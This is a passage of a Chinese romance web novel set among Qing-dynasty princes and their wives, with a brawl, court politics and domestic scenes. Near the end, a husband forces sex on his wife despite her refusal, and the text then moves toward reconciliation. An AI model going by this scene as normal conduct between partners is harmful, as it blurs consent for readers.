仪欣轻哼,扫一眼跪在地上挣扎的年枝,说:“从小我阿玛就教我,打架没事,不管把对方打得多惨,家里给兜着底,打输了不行,更何况,王爷还在这,我若是让人任意挑衅,我富察仪欣没脸见人了!” 第49章重拳出击! “我哥哥还在和王爷商议事情,福晋最好是将我放开,免得闹得难堪。”年枝咬牙不屑说。 仪欣俯身掐住她的下巴,语气有点小疑惑,“你可别把自己太当回事了,本福晋自认从未得罪过你,谁知你上赶着触我霉头。” 年枝觉得羞辱,挣扎着要站起来,仪欣挥挥手,让侍卫松开她,上前两步抬腿就将未站稳的年枝踹倒在地。 如果他们知道她的阿玛半年多以前,刚打赢了万岁爷,那就该知道,她富察仪欣是她们富察氏最乖巧懂事的。 “啊…!贱人!”年枝恼得戾气四溢,她为了不嫁给八爷,上吊自尽都做过,还不敢还手吗? 年枝爬起来拽到仪欣的旗装下摆,仪欣眼疾手快薅住了她的旗头,晴云将自家福晋挡在身后,丝毫不犹豫甩了一巴掌。 侍卫不敢动手,怕轻薄了福晋,目瞪口呆看着福晋和年氏打了起来。 晴云是个练家子,身手非常矫捷,死死按着年枝,年枝胜在身体底子不错,将晴云的手背抓出道道红痕,仪欣有些气喘吁吁跟在晴云身后忙活。 春意楼二楼多为包厢,今日雍亲王府算是半清扬,不然仪欣也不会午膳之时,却不担忧没有包厢。 二楼人不多,只有店小二鹌鹑似的杵在角落里,不敢劝,又不敢走。 年枝两行泪落下,咬牙切齿说:“他怎么会娶你这种刁蛮女子做福晋!” “我刁蛮?”仪欣咯咯笑,一巴掌甩在她脸上,“那你算是说对了。” “福晋,还是让奴婢动手吧。”晴云冷了神色。 仪欣点点头,掸了掸衣袖刚想歇会儿,叉着腰喘气,就见三步远处包厢门缓缓推开了。 先是苏培盛目瞪口呆的老脸。 春意楼包厢不乏官员应酬谈事,隔音效果还不错,庭廊有些声响,却见是王府的小厮在张望。 “福晋,您…怎么来了?!”苏培盛颤抖着声音问。 其实,他更想问,您怎么把年氏小姐打成这样了?哎呦,这涕泗横流的。 年枝格外凄厉呜咽一声。 “王爷——”苏培盛收敛神色,此言一出,众人直起身子正衣冠准备行礼。 年枝挣扎着要起来,凄厉哭着要告状,就见仪欣挑衅挑眉,转而垂眸呜咽一声。 年枝:……? 胤禛听着外面的声音有些耳熟,刚走到包厢门处,还未看清发生何事,只看到仪欣飞快踹了什么东西一脚,然后一脸委屈燕雀投林般跑向他。 嘴里还哽咽叫嚷着:“王爷,她刚刚要打我,我真的吓坏了。” 谁吓坏了?谁? 目睹一切的店小二面壁思过,雍亲王府的人自然严肃点头附和自家福晋。 对啊,福晋都吓坏了。 一团撞得满怀,胤禛下意识接住小牛犊子般的仪欣,感觉到怀中人生龙活虎的,还是配合她表演一下,沉声皱眉:“本王看看,伤到哪里了?怎么受欺负了也不知来找本王?” 仪欣轻蹭他幽蓝色蟒袍前襟刺绣,恨不能蹭出点眼泪来。 胤禛手掌挡在她的脑门前,隔开她的额头和金线银线刺绣,眯着眼见她藏在怀里偷偷笑,像是捡了银子一般。 仪欣使劲吸了吸鼻尖。 “本王检查一下。” 胤禛阴沉脸色,将仪欣塞到身后,煞有介事捏了捏她的胳膊腿,温热手掌摸了摸她的脸,大拇指替她抹掉不存在的眼泪,随意开口说:“什么事都没有,别怕。” 打就打了,什么事都没有。 仪欣听懂了,一下子士气大振,乖巧的连连点头。 他倦怠扫一眼地上跪着含泪望着她的女子。 转身冷淡看着年羹尧,隔着包厢门淡淡开口,“亮工最好给本王一个解释。” 年羹尧跑到年枝身边,不知道如何是好。 说完,胤禛牵着仪欣走到包厢里,苏培盛极有眼色请年羹尧将年氏带进包厢,然后出门敲打在扬众人。 年羹尧也震惊了。 看着妹妹脸上的巴掌印和泪痕,再看雍亲王福晋连根头发丝都妥当的模样,他黑脸沉声问:“不知谁该给谁一个解释?” “放肆!你就是这般同王爷说话的吗?”仪欣冷哼一声,不屑冷笑说,“果然是上梁不正下梁歪。” 邬思道目瞪口呆,在他印象里,福晋就个温软性子,每晚提着小橘灯,戴着帷帽的大氅裹得严实,在亭廊处接王爷回寝。 若是遇上他们,也只是眉眼弯弯点头示意。 他又看看跪坐到年羹尧身后的年枝,心道,这伤真不是她自己扇得,然后栽赃福晋吗? 邬思道又急得摇摇头,自我否定这荒唐想法,心道,今日福晋有些急躁,肯定是年氏挑衅,又被气狠了。 “你说什么?” 年羹尧没让女人指着鼻子骂过,撂下茶盏就要站起来争执。 在年羹尧凶狠的目光里,胤禛将腕间佛珠缓缓套在仪欣手腕上,桃花眼淡淡瞥一眼年羹尧。 年羹尧心脏战栗一瞬,喘着粗气,又坐下了。 他只咬牙说:“王爷不妨听臣妹一言。毕竟,她才更像受人欺凌的。孰是孰非,总该有个说法。” “本王的福晋先说。”胤禛开口。 仪欣垂眼吸了吸鼻尖,无辜又委屈轻声说:“嗯,反正她叫我富察格格,我不爱听,她还质疑我为什么成了雍亲王福晋,我也想知道呢,要不王爷拿着腰牌入宫问问皇阿玛,为什么雍亲王福晋是富察氏,为什么是本福晋而不是旁人,会不会是圣旨写错了?” 年羹尧缓缓看向妹妹,这话怎么能在人前说,这不是质疑万岁爷赐婚吗? 仪欣又幽幽叹口气,摆弄着胤禛的手指,语气委屈又难过:“本福晋只是赏了她一个小小的巴掌,她竟是要还手,若是亲王福晋被年氏打了,你们年氏一族还活不活了?我们王爷这亲王还做不做了?” 反正就是一副“我都是为了你们年氏好”的模样。 胤禛忍不住勾唇,在她耳边小声附和:“就是就是!” 仪欣骄矜扬下巴,欢喜的挠挠胤禛的手心,像是猫儿在轻扑毛球。 他不冷不热看一眼年羹尧,嗓音冷淡,含着威仪,“福晋宽宏大量,温良恭俭让,处处妥帖,却也不是旁人欺辱她的理由。本王也不是摆设。” 胤禛将一粒葡萄剥好递到仪欣唇边。 年羹尧哑口无言,半晌憋出一句:“可是受伤的毕竟是臣的妹妹!” “要不然呢?”仪欣纳闷问,又指了指自己的鼻尖,不然是要她受伤吗? 第50章能让他献身的只有富察仪欣 年羹尧也问自己。 若是年枝将雍亲王福晋打了,雍亲王还会不会让他去川陕赴任,亦或是,赴任后还能不能全须全尾的回京? 他吞咽一下口水,竟是觉得这是最好的结果,年枝受伤,雍亲王才能不计较她言语冒犯的事情,他和雍亲王才能共谋来日。 这时,年枝哭出声来,楚楚可怜看着深蓝色蟒袍的男人,又低下头,恨不得将三年间如数家珍的回忆都倾诉给他,但是,她咬着下唇忍住,要说也不是这般狼狈时说出口。 她不甘心,她绝对不甘心。 年羹尧一顿饭心里一窝火,不知往哪里发,早早派人将年枝送回马车上,又强颜欢笑跟仪欣道歉。 仪欣骄矜点点头,表示大人有大量,不予计较。 饯行宴,以仪欣大获全胜告终。 邬思道乐呵呵同年羹尧上了同一辆马车,说是有孤本邀请他共同品鉴。 仪欣则是在春意楼和植宁一同用午膳。 胤禛还有些旁的事要处理,只能先行离开,约定等仪欣玩够之后,来接她回府。 仪欣回到包厢后,兴致勃勃跟植宁分享刚才的壮举。 植宁讪讪笑,“我刚刚偷偷隔着在门缝看了全程。你别说,你家王爷…演得还挺好…比你好的多…” 仪欣骄矜憨气轻哼,“我家王爷那是真担心我,怕我受伤罢了。” 植宁斟酌着说:“我本来还担忧王爷会…责怪你,毕竟,看样子他与年羹尧关系匪浅。” “根本不会,”仪欣摆摆手,骄矜开口,“若是我有什么做的不好的地方,王爷只会私下里教我,他才不会在外面责怪我,更不可能让我给旁人道歉。” * 入夜。 胤禛斜倚在床榻上读策论,仪欣站在梨花架前,摆弄她的泥陶。 今天下午偶遇阿玛,她又得了两个胖泥陶罐罐,仪欣双手捧着乐福泥陶,踮着脚往梨花架上放。 胤禛余光注意到她的动作,起身走过去,拦腰将她提起来,仪欣小心翼翼将它摆好。 “王爷,你直接帮我放上去不就行了,你怎么把我拎起来了。”仪欣纳闷嗔怪一声。 “单纯想抱你。”胤禛不避讳开口,轻吻她的发顶,温声问,“还有什么要收拾的吗,本王来做。” 仪欣打量了一下,寝殿梨花架和梳妆台上的几十个泥陶已经各就各位。 她满意摸摸新得到的乐福泥陶,高兴地说:“没有需要收拾的了。” 胤禛低笑一笑,好,可以开始收拾她了。 两个人窝到床榻上,胤禛状似无意低语一句:“今日福晋还真是威风凛凛。” 仪欣以为是在夸她,小猫般高傲扬了扬下巴,“王爷过奖了。” 胤禛闭了闭眼,喉结滚动,“嗯”了一声。 半晌,他忍不住,决定明着说,“本王有几句话要跟你讲,若是身旁没有倚仗,不能这般嚣张,知不知道?白日本王在春意楼,你可以肆意而为;然而,若是本王不在,纵使你身边那个丫鬟武艺不俗,也不要肆意挑衅泄愤。” 仪欣黏糊糊靠在胤禛肩膀上,双手捧着他递来的温水,一个劲儿点头,眼睛亮晶晶的,别提态度多好了。 胤禛偏头,与她对视。 仪欣眨眨眼睛,歪头想一下,当即亲了亲他的唇角。 胤禛无奈气笑了,“本王是让你说话。” “可是,我是打量着肯定能揍她一顿,我才动的手。”仪欣软乎乎解释一句。 “哦。原来仪欣是这么谨慎的一个人。”胤禛弯唇胡乱揉了揉她的脸。 仪欣憨憨笑,顺着他的力道亲了亲他的下巴。 胤禛将她手中茶盏接过来放到一旁,不再逗她,反而有些严肃的说:“本王不知你阿玛怎么教你的,只是,本王有些朴素的经验,不可赶狗入穷巷,物极必反。” 要不直接杀了,断绝它反扑的可能。 当然,这话太血腥,胤禛不打算说出来,反倒是摸了摸她的脑袋,顺毛似的。 “下次再遇到这种事,你只管拿身份地位压制对方,让下面的人去做,不能莽撞亲自动手。” 胤禛觉得自己对她总是叮嘱不够,那年氏敢自挂白绫逼迫父兄,总归做起事没有下限。 “答应我。” “答应你。”仪欣认真点头,温软窝在胤禛怀里,嘀咕着为自己找补一句,“王爷说的好像我多凶悍似的。” 胤禛垂眸看她,淡淡开口:“未成亲时,福晋在春意楼,亲自砸了四个茶盏和砸了一架屏风,亲自动手扇了弘皙贴身太监;四个月前永和宫,福晋不小心摔了两个茶盏,又不小心摔碎一个白釉青瓷瓶;一个月前夜里,福晋还甩了老十四一巴掌。” 再有就是今日。 胤禛看着怀中娇憨温软的人儿,只有他知道她有多么闹腾,像是扑腾着打翻花瓶的猫儿,任劳任怨收拾烂摊子是小事,可总怕哪日看顾不到,她马失前蹄受人欺负。 “王爷…我都忘了…你也不许记得。” 仪欣搂紧他,轻轻打个哈欠,睡前才反应过来警惕问一句:“王爷,今日那个年羹尧带他妹妹来做什么?” 胤禛弯唇沉默一会,再亲亲她时,怀中人已经睡着了。 “仪欣是最乖巧懂事的学生。”胤禛低声夸奖一句,又偏头亲了亲她的额头,小声补充一句,“你也是真迟钝。” * 直至年羹尧川陕上任,胤禛都没有再见他。 有时候顺从和尊重并不能带来忠诚,虐待才会。 胤禛颇为通晓官扬人心,冷静自持,控制着他想要得到的人脉。 除了绝嗣,他没有任何让人值得攻讦的弱点,为政勤勉,雷厉风行,侍奉君父忠诚纯孝;老八倒台之后,他变得愈发中立,反而得到各个兄弟的竞相拉拢亲近。 年羹尧私下多次恳求和试探,从年枝入雍亲王府为侧福晋,到若是无名无份侍奉在雍亲王身侧也心甘情愿。 胤禛都淡笑不接招。 胤禛不打算卖身,于他而言,摆弄权势是消遣时游戏,他并不打算为了权势献身。 能让他献身的只有富察仪欣。 第51章本来她就可以养着他 如今正值年羹尧调迁关键之时,年羹尧迫切需要依附高位宗室,不然也不会以其妹为由头,左右逢源。 年羹尧此人,胤禛最是了解,他有些才华和能力,称得上是能文能武,但是自视甚高,又不甚谦逊,不能过多抬举他。 胤禛推演着朝堂上的局面,同时握着笔杆轻敲仪欣的手腕,提醒一句。 “手腕放松,主笔突出些,有收有放才能将字写好。” “哦,好。”仪欣松了松手,左手按着宣纸,一笔一划练字,半晌,自言自语夸自己一句:“我明明跟王爷写的差不多。” 胤禛:…… “嗯,认真写。”胤禛附和。 仪欣近日读书很认真,也不抱怨胤禛严厉,他布置的课业,仪欣都能不打折扣认真完成。 城南一事对仪欣有很大的影响,曾经她觉得读书枯燥乏味,识字管家即可,可是,当她意识到自己的一些眼界不足的决定,能够影响他人命运的时候,她想多接触一些世道的真相。 植宁正在议亲,又刚出了城南那档子事情,出入府邸不如仪欣自由,索性不再参与酥阁的经营。 姚虞对酥阁很感兴趣,同时她掌管八贝勒府多年,处事周全老道,她将植宁的那部分买过来,跟仪欣一同经营。 同时,姚虞果断调整了城南布施的方式。 仪欣和姚虞联系几位满洲大姓的当家福晋,把她们府上一些零散的活计外放,给城南家中丧失耕种能力的女子提供劳动机会,将酥阁剩余的点心随着份例结算分发给她们。 仪欣跟在姚虞身后,学到了很多东西。 仪欣和姚虞作为皇子福晋,本身就是各府福晋甘愿送礼结交的对象,外放府中一些活计的小事,每月不过几两银子,能卖雍亲王福晋一个好,何乐而不为呢? 仪欣不居功,有好名声和诸位福晋一起分享,更是能长远。 书房里只有仪欣春蚕吐丝般沙沙的落笔声,写满一大篇,仪欣撂下笔,倚在身侧男人的身上。 “喝点水。”胤禛给她揉着手腕,自然而然说。 “王爷,十三爷回来了。”苏培盛说。 胤禛点点头,示意苏培盛将十三阿哥带到书房来。 “四哥。”老十三龙行虎步走进书房,见到仪欣,恭敬拱手行礼,“四嫂安好。” “坐。”胤禛开口。 老十三脊背挺拔,气质沉稳,却少了些耿介疏狂的侠气,如同被剜掉珍珠的牡蛎,一撩衣袍坐在胤禛和仪欣下首,沉默着不出声。 “没调整好,你回来干什么?”胤禛淡淡开口,给仪欣递过去一杯温水。 前阵子,胤禛在朝堂上弄垮老九,十三阿哥在后方,将老九的产业刨得一干二净,若不是他和老九同宗同族,老十三最想刨是老九的祖坟。 做完这些事,老十三便到胤禛的京郊别庄调整心态。 “四哥,我完全没料想过被人耍成这样…只是…一时间接受不了。” 老十三攥了攥拳头,颓丧低下头,“对不起四哥,我日日复盘那件事的始末,却觉得,若是不知内情再经历一遍,我还是会犯蠢做糊涂事。” 仪欣不知道老九算计老十三的内情,就光听说青楼女子那个事,在胤禛面前说了老十三一箩筐的坏话。 后来听说,老十三被欺骗了。 但是,她如今能感受到十三阿哥身上的挣扎,就如同她前阵子重病难愈一般。 那是对自己善良的怀疑。 他是受害者,某种程度上,他也是施暴者。 就像仪欣一样。 胤禛不爱做酸腐安慰人的事,此时一针见血开口:“胤祥,你是什么聪明绝顶的人吗?朝堂上有一个算一个,谁是蠢笨无脑的莽撞人吗?只能你在朝堂叱咤风云算计人心,是吗?被算计了,本王和你也给那人回敬了,你矫情个什么劲。” 九子夺嫡,本就是你来我往,尔虞我诈,留下的人确实技高一筹,可失败的人,也不过惜败。 不然,朝堂权势还用得着隐忍蛰伏,用得着自污,干脆家家酒好了。 老九心思缜密,做事阴毒,利用老十三侠气坦荡的性格,将手伸到他的后宅中,环环相扣,阴沟里的毒蛇一般伺机攀咬胤禛和太子。 实话实说,老九这一套放在谁身上,都够那人喝一壶。 仪欣赶紧扯了扯胤禛的佛珠,目瞪口呆看着他,她第一次见王爷这么凶,王爷明明温和寡言,定是让十三爷这个弟弟愁坏了。 胤禛想到仪欣还在身侧,止住话头,淡淡看一眼老十三,任由他自己消化。 老十三抿唇,“是,弟弟明白。” 仪欣想了一会,声音温软开口:“十三弟不要自我怀疑。” “善良不是消耗品,被消耗的只会是无知、轻浮和莽撞,只有这些如剥壳般褪去后,面对人性的贪婪,依旧做出慷慨而理智的选择,这才是善良。” 胤禛诧异看她一眼,附和一句:“她说的对。” 老十三缓缓抬头,眼眶发热,狼狈点点头,轻声说:“多谢四嫂宽慰,弟弟万般受教。” 四嫂比他还小四岁,都能看得清这种道理,他还要日日纠结要不要一改初心,岂不是荒唐吗? 仪欣眉眼弯弯,骄矜点点头,王爷说话就是格外有道理! 胤祥不知道,这是他的亲亲四哥安慰四嫂的原话,怎么到他这里只剩下“你矫情个什么劲”。 胤禛看她一眼,就知道她美滋滋在想什么,此时觉得格外可爱。 她性子又好,又懂事听话,教她的事她都能记得;这阵子她在城南为百姓谋做事,他在外沾光得到许多夸赞。 “好了,想明白了明日随本王去上朝。”胤禛对老十三说。 老十三收拾好心情,认真点点头。 “王爷,你要去上朝啊?”仪欣攥着他的手腕,蹙着眉看他。 胤禛弯唇,调侃说:“本王再不上朝,朝堂上就要查无此人了。” “不想你太辛苦。”仪欣小声说,胤禛心头一紧,赶紧捂住她的嘴。 仪欣下句话想说,本来她就可以养着他。 她骤然被捂着嘴,茫然瞪圆了眼睛,呜呜囔囔说:“本来窝…呜呜呜…啊!” 第52章马铃薯呢 老十三更茫然了,“不想你太辛苦”这种话,后面能有什么私密话,非要留到晚上说。 说说呗,又有他不能听的? 仪欣小幅度亲亲他的手心,骄矜说:“那好吧。” 王爷真聪慧,她想说什么他都能知道。 胤禛手心痒痒的,想摸摸她的脑袋,冷淡瞥一眼老十三。 老十三缓过些精气神,收敛着颓丧气,此时精神格外机敏,不知道为什么,他直觉四哥这时候不想看见他。 “四哥,我…对了,我这阵子将你别庄那块地重新翻了土。那啥…我回府看看…”胤祥局促开口,准备起身。 “什么?!”仪欣炸毛,“什么地?翻什么土?” “啊?就是四哥别庄东南角那块地啊…”胤祥愣愣解释。 他在四哥别庄思考人生,没事干,想着四哥素爱耕种,所以替他刨了两块地,听说这样土地更加肥沃,易长庄稼。 “什么啊!那地里有我亲自种的马铃薯,还没成熟呢,你怎么给刨了?我的马铃薯呢?”仪欣也愣了,瞪大了眼睛。 胤祥下意识求助看向胤禛,又目瞪口呆跟仪欣大眼瞪小眼。 胤禛揉了揉眉心,一言难尽心里叹口气。 她种的太浅,马铃薯都死了,哪有什么马铃薯。 他前阵子太忙碌,也没顾得上管那块地,后来知道了,又不忍扫兴告诉她真相,想着丰收时买一筐马铃薯得了。 谁知道让老十三捅出来了。 仪欣圆溜溜气恼的眼睛,胤禛看着她羽睫气得轻颤,委屈巴巴控诉般看着他。 胤禛冷冷一笑,咬着牙慢悠悠问胤祥:“就是,你怎么给刨了?” 胤祥张了张嘴,怀疑的问自己,他…给刨了?他刨到马铃薯了?啊? “四嫂…对不起,我…我不知道,那个…”胤祥思考措辞,一个劲回忆马铃薯的事,那地里连个芽都没有,真的有马铃薯吗? 仪欣也不想得理不饶人,毕竟十三爷是王爷最亲近的弟弟,她作为嫂嫂总得大人有大量。 她摆摆手,轻哼一声:“没关系,下次可不许这样了,好歹看着点啊。” 胤禛作壁上观,闻言也幽幽叹口气:“下次不许这样了。” “是是是,弟弟受教。” 胤祥一个劲点头,又提议赔偿马铃薯,仪欣拒绝了。 此时,胤祥开始复盘另一件事,一件比他被老九算计还冤枉的事,四哥说那里面有马铃薯,总归不会有错。 马铃薯去哪了?啊? … 仪欣提议请十三福晋过府一同用晚膳。 完颜氏到雍亲王府时,仪欣坐在花厅喝茶,胤禛和胤祥在一旁下棋。 “好啦,我派人传膳,好久不见你了呀。”仪欣见完颜氏来了,葳蕤迎上去,挽上她的胳膊。 “四嫂。”完颜氏性子沉静又腼腆,此时笑了笑,适应着仪欣天然的亲热,抿唇说:“前些日子四嫂病了,妾身心中挂念着,却无法前来探望。” 仪欣眉眼弯弯,拉着完颜氏坐到茶案旁,笑着说:“我没什么大事,你送来的人参还有安神药包,我用着特别好。” 完颜氏心里高兴些,“那是妾身额娘生前留下的方子,四嫂用得好,妾身写下来给四嫂。” “好。”仪欣将小坚果和糕点往完颜氏那边推了推。 仪欣天生炽热温暖,完颜氏是腼腆略带胆怯之人,与人相处时,总要适应一会儿才能表现的亲近。 完颜氏看着身侧笑靥如花明媚娇憨的女子,心头觉得轻松,和四嫂相处,总是能很快亲近起来。 两个人叙话,过会儿便有来有往聊起趣事。 得知晴云通晓药理,完颜氏将药方背一遍给晴云听,让她记下来。 仪欣叮嘱说,“我生病都习惯了,你可不要每次都送那么名贵的人参,当然,也不用来探望我,你府中小格格还年幼,过了病气可不好了。小孩子幼时生病可难受了,好多药都喂不进去的。” “好,妾身省得。”完颜氏亲近朝仪欣笑笑,给她斟一盏茶,又自己斟一盏。 胤禛边下棋边听着她说话,指尖捻着黑子,心里不太舒服。 小孩子幼时生病可难受了,好多药都喂不进去的。 不知道他家这只小孩子,幼时体弱多病要吃多少苦药,喝汤药时又有多难捱,才有这样的肺腑之言。 胤禛扔下手中三两枚棋子,说:“罢了,改日再下,先用膳。” 雍亲王府的花厅很大,摆着两张桌案,如同宫宴那般对坐放置。 仪欣和胤禛坐在东侧,胤祥和完颜氏坐在西侧。 胤祥举杯敬胤禛一杯,然后抿唇对仪欣开口:“弟弟敬四嫂一杯,多谢四嫂宽慰。” 胤禛给仪欣倒上牛乳茶,仪欣接过举杯,笑着说:“十三弟客气了。” 完颜氏随着胤祥举杯,同敬仪欣。 胤禛不喜欢女子近身,因此用膳时一些小事,他都习惯性亲力亲为照顾仪欣,不需要仪欣的贴身丫鬟动手。 仪欣更是不用多说,一个劲给胤禛布膳,把她觉得可口的膳食都夹到胤禛碟中。 胤祥看得诧异,不太自在,给完颜氏添一筷子鸭腰口菇。 完颜氏诧异,赶紧给胤祥夹一块一样的,说:“多谢贝勒爷。” 胤祥:…… 完颜氏艳羡看着对坐的人,心道,真是世间难得的亲密夫妻。 她也算满意如今的生活,胭脂那件事真相大白,不影响贝勒府和她的女儿,她没有任何计较。 因为,于她而言,贝勒福晋是一份活计。 四年前,与她议亲的本是十四阿哥,不知发生了什么事,德妃娘娘的态度暧昧不明,先是为十四爷纳了两位侧福晋,后面的事竟是含糊过去,不了了之。 那时额娘已是油尽灯枯,她担忧守孝之事,又怕自己身份立不起来,阿玛继室入府,她护不住两个年幼的妹妹。 所幸,她订下了十三爷。 她需要贝勒福晋的身份为年幼丧母的幼妹撑腰,如今还有她愿意付出一切的幼女,就很好。 这样想着,完颜氏轻声开口:“四嫂,城南施善的事情,您还缺不缺人呢?” 第53章你变得也太快了 用完晚膳,天色渐晚,老十三和完颜氏相携回府。 已是深秋,天黑的越来越早,雍亲王府的宫灯暖融融的,洒落在地面上,烛火和皎洁的月光痴缠着。 天凉许多,仪欣夏日刚嫁进王府,嚷着晚上睡觉冷,要抱着睡,撒娇的成分占大多数。 如今是真的冷了。 胤禛也发现了,她半夜总是醒过来,手脚冰凉,茫然钻到他的怀里,她哼哧哼哧一会又能睡得安稳。 “王爷,你不上朝我也可以养你哇。” 仪欣盘腿坐在床榻上大声宣布,每日寅时初上朝,她听着就觉得抓狂。 胤禛忍俊不禁,眯着眼看她认真诚恳承诺的模样,他俯着身闷闷笑,寝衣褶皱带着轻颤般的愉悦。 他的眉骨深挺,瞳色漆黑,眼型是狭长的丹凤眼,偏偏有双眼皮,睫毛微弯,勾勒出精致的桃花眼。 他笑起来眼尾勾翘,含着宠溺和愉悦的光,只是,他不常笑,故而面容冷峻,眸中情绪淡漠。 “等本王失去自己名字的时候,不愿在朝堂上开口说话的时候,濒临颠沛流离的时候,仪欣愿意将本王自人群中领走,那便好了。在此之前,养家的事,还是为夫来吧。” 他俯身凑近啄吻她的眼皮,仪欣下意识闭眼,胳膊缠上胤禛精壮的腰。 胤禛的话很哀伤,但是偏偏他此时是愉悦和运筹帷幄的情绪,仪欣不觉得担忧和胆怯,反而安全感满满,软乎乎贴着他。 她一生少有胆怯忧虑的时候,仪欣的爱滋长于天地最绚烂澄明如新拭之镜,酒盏最盈而未满之时,一切都那么饱满温软。 把王爷自人群中领走?那有何难? “反正我什么时候都会把王爷领回家的,你怎么会有颠沛流离的时候呢?” 仪欣暗戳戳掐一把他腰间的软肉,惩罚他说话不吉利,又赶紧替他揉揉。 胤禛捉住她的手,伏低身子,眯着眼深吸她的气息,偏头慢慢吐出来。 “本王哄哄你,你靠在本王怀里认真睡觉。” “好。”仪欣动动脑瓜回应他。 胤禛的手不紧不慢轻拍她的脊背,凝着寝殿内满墙花花绿绿的泥陶。 其实,没有她之前,他向来便是颠沛流离的,他私产不少,他住在哪里,哪里就算是他的家。 万山载雪,月明薄之。 他常常半夜三更在床榻上沉默躺着,提醒自己,不能让权力如洪水般涌入他的生命,这中间需要一个阀门,不然他的精神迟早会决堤。 但是,那时,他控制不了自己。 * “清溪奔快,不管青山碍。” 姚虞在桌案前站着,挥洒下这几个字。 她最近和仪欣做了不少事,每日忙碌,却愈发充实。 从前,她做什么事,和谁亲近往来,多数都是为了给胤禩拉拢人脉,如今纯粹做些善事,她觉得整个人都平静下来。 胤禩在正院庭间在逡巡半晌,推门而入。 姚虞一惊,歪头:“?” 胤禩轻咳一声:“你怎么还没睡?深夜不睡,白日还要出府东奔西跑,像什么样子?” 说完,他自顾自宽衣解带,坐到床榻上,扶膝冷冷看着她。 姚虞张了张口,纳闷问:“贝勒爷明日要上朝,不也没睡吗?” 仪欣每日起的晚,八贝勒府和雍亲王府比邻,她又不用早起,也不侍奉舅姑,又不给府中妾室立规矩,睡这么早干什么? “哦,原来你还知道爷明日上朝。”胤禩冷哼开口,“爷每日早朝,你都会早起熬茯苓山药粥,这次莫不是忘了吧?” 姚虞一愣,她还真忘了。 姚虞笑笑,说:“妾身明日给贝勒爷熬。” 胤禩看她这样,就觉得哪里都不舒服,躺在床榻上,背过身去不理人。 姚虞由丫鬟伺候着净手,贴身丫鬟将她写好的字整理收纳起来。 床榻微微塌陷,身后有些动静,胤禩皱了皱眉,察觉到姚虞自顾自躺到外侧,裹了裹被衾。 沉默半晌,寝殿内香炉中只有窸窸窣窣的安神香燃烧的声音。 胤禩蜷了蜷身子,闭着眼睛吐出一口浊气。 应是他皇位无望,她失望难耐,对他也不怎么上心了,整日与富察氏那个小丫头忙活外面的事,也不关心他所思所想了。 “姚虞,你变得也太快了。”他冷冷开口。 姚虞的心脏被他的轻叹狠狠抓了一把,猝不及防,下一秒,他的语言像锥子一样戳了她一下,她没变,听到他恶言恶语还是会难过。 胤禩见她半晌不理自己,倏地转过身来,“你怎么回事?” 背对着她躺着其实没有真的生气啊,就是隐秘期待她凑过来抱紧自己,手臂环住他的腰,头抵在他的颈窝里,耳边是轻轻的呼气和淡淡的热风,她的怀抱贴紧他的背,心跳同频。 她怎么回事?她只要跟之前一样抱过来,哄着问他为什么不高兴,他就会转身说原谅她最近对自己不上心。 姚虞苦笑一下,恹恹抬眼,有些疑惑平静发问:“贝勒爷是怎么回事呢?” 胤禩闭了闭眼,将她拽过来,低头咬住唇瓣,粗暴的把人搂到怀里,压在身下。 “贝勒爷…明日…上朝…” 姚虞有些挣扎,她喜欢和他亲近,不代表她能让他泄愤,他哪里来的不痛快,深更半夜要跟她发脾气。 做这种事本来应该是愉悦爱怜的,这是干什么? “别动。”胤禩粗喘吩咐。 “我不想…停下…”姚虞抗拒推着他的胸膛,发出的声音满是哽咽。 胤禩迟疑一瞬,还是挺腰。 他无措到轻颤,只能急躁掌控她,一遍遍喊她的乳名“姚姚…”,他才觉得失去的东西慢慢回来。 天下熙熙,皆为利来;天下攘攘,皆为利往。 他是个失利之人,皇阿玛厌弃,额娘病弱庸懦,老十四想要接盘他的势力,下五旗是不折不扣墙头草,老九还被关到了养蜂夹道,归期不定。 姚虞,为什么也变了。 “额…啊…” 姚虞身体很好,也学武射箭,却还是没办法拿回身体的掌控权,耻辱感蚂蚁般钻到骨缝里,她嘶哑哭出声来。 第54章到马车上…再检查 姚虞狼狈推开他,踉跄着下了床,沉默羞恼哭着喘气,任由眼泪垂湿碎发和寝衣前襟。 她挣扎着蹲下去,抱着头绝望问一句:“是不是八贤王对每个人都温文儒雅,只有对郭络罗姚虞这么差?” 她其实最了解胤禩,他是个讨好型人格,谦和礼贤下士的背后,其实是迁就和应和下面的人。 她曾经很心疼他,如今觉得荒唐。 他可以讨好一切,唯独对她作威作福。 “不是…不是…”胤禩下意识摇头否认,下床要抱着她。 姚虞起身打翻燃着的香炉,呛人的气味混着凌乱的火星,她嘶吼一句:“滚,滚开!” 胤禩一愣,退后一步,茫然想去检查她的手。 “胤禩,你的爱恨怎么样我管不了,我也不想管了,我郭络罗姚虞是…喜欢你,但是我不是你能拿来泄欲的玩意,你的通房格格侧室,你喜欢哪个睡哪个,别在我这里发/情。谢谢你。” 胤禩恼得眼眶发红,心脏闷闷钝痛,迟疑强硬咬牙质问:“你知不知道你在说什么?!” 她善妒,在京中不是什么秘密,朝中各位阿哥没少调侃揶揄他,甚至说他惧内。 他虽然会时不时警告她不要善妒,但是,她不希望他宠爱妾室,他也由着她,哪怕被别人调侃惧内也一笑置之。 现在呢,她想干什么? 她不要他了吗? 胤禩跟困兽一样,他想呐喊刨根问底,他想问问她为什么不抱着他哄他了?为什么不给他亲手熬粥了?为什么回府不跟他聒噪分享趣事了? 为什么不全心全意围着他…喜欢他了… 他问不出口,他怕…他真的怕。 胤禩和姚虞僵持对视着。 姚虞看到他发红执拗的眼眶,颤抖的指尖,仿佛透过胤禩的躯壳看到他横冲直撞的焦躁不安。 其实,会心软。 “咱们成亲八年了吧。”姚虞的声音很轻。 胤禩听到她跟他说话了,吞咽一下口水,赶紧说,“还有三个月零七天,就八年了。” 姚虞闭眼,两行清泪倏地落到尖尖的下巴,她上前两步,搂住他的腰,声音仍旧很轻,“贝勒爷,八年很长的。” 胤禩觉得很慌张,又迫切需要她的主动来证明自己被爱,他抱住她,俯身把她抱起来。 “姚姚,今夜是我不好…你什么时候做咱们就什么时候做…”胤禩把人抱到床上,呜呜囔囔搂着她喘气。 姚虞闭眼不理他,慢慢睡着了。 胤禩吩咐丫鬟将香炉悄声清扫干净,埋在她的颈窝里闭上眼睛,心中慌不择路。 * 今日朝堂上异常热闹。 除去禁足的十四阿哥和圈禁的大阿哥,入朝的成年皇子到齐了。 太子殿下的朝服是杏黄色,胤禛为首亲王皆着石青色朝服,朝带颜色用金黄色,上嵌金衔玉方版四块,每版饰东珠四颗,中间饰猫晴石一颗,左右的佩绦也用金黄色。 